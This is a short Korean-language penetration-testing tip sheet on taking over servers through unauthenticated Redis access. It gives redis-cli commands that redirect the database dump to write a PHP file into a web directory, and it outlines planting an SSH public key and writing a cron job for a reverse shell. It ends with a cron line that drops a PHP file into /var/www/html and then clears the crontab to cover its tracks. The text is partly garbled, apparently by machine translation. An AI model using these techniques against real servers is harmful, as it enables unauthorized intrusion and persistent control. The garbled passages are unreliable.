Redis 익명 액세스 활용 팁

Redis 데이터베이스는 최근 활용 프로세스와 결합하여 비교적 일반적입니다.

인트라넷 머신에서 Redis를 다운로드하고 make를 압축 해제할 필요가 없습니다

A) 일반적인 상황에서는 경로를 알고 셸을 작성합니다

./redis-cli -h IP  
config set dir /home/wwwroot/default/  
config set dbfilename redis.php 
set webshell " phpinfo(); ?>"  
save

B) 공개 키를 사용하여 비밀번호 없이 로그인합니다. 1 로컬에서 공개 키를 생성합니다. 2 Redis를 사용하여 공개 키를 백업합니다. redis 머신 C) Linux 작업을 사용하여 셸 리바운드

1 /var/spool/cron은 Linux 머신에서 기본 예약 작업입니다. cron이 켜져 있으면 Linux는 내부에서 정기적으로 작업을 실행합니다. 파일 이름은 사용자 이름 2입니다. Redis는 dbfilename을 위와 같이 설정하여 Shell을 직접 바운스합니다.

Redis는 일반적으로 Redis 서버의 권한을 얻기 위해 위의 세 가지 방법을 주로 사용한다고 요약합니다. 루트 권한으로 시작하면 권한이 매우 큽니다.

그런데 침투 과정에서는 항상 예상치 못한 상황이 발생하게 마련인데, 혹시 없나요?

첫 번째 방법은 redis 데이터베이스가 너무 커서 PHP 말이 한계를 초과하고 직접 500이 구문 분석되지 않는 경우 세 번째 명령을 통해 웹 디렉터리에 말을 쓸 수 있습니다. 🎜>

*/1 * * * * echo " phpinofo();?>" >/var/www/html/90sec.php;crontab -r